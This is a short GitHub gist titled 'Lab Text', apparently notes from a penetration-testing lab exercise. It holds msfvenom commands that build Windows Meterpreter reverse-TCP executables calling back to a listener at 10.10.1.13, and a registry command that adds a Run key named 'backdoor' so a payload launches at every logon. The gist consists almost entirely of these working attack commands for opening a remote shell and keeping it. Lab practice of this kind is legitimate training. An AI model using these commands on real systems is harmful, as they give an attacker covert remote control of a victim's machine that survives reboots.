Skip to content

Instantly share code, notes, and snippets.

@mssio
Last active April 18, 2026 20:40
Show Gist options
  • Select an option

  • Save mssio/a206a4cb3eaed538d00e901674f7b0e4 to your computer and use it in GitHub Desktop.

Select an option

Save mssio/a206a4cb3eaed538d00e901674f7b0e4 to your computer and use it in GitHub Desktop.
Lab Text
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=444 -f exe > /home/attacker/Desktop/Test.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.13 lport=4444 -f exe > /home/attacker/Desktop/registry.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v backdoor /t REG_EXPAND_SZ /d "C:\Users\Admin\Downloads\registry.exe"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment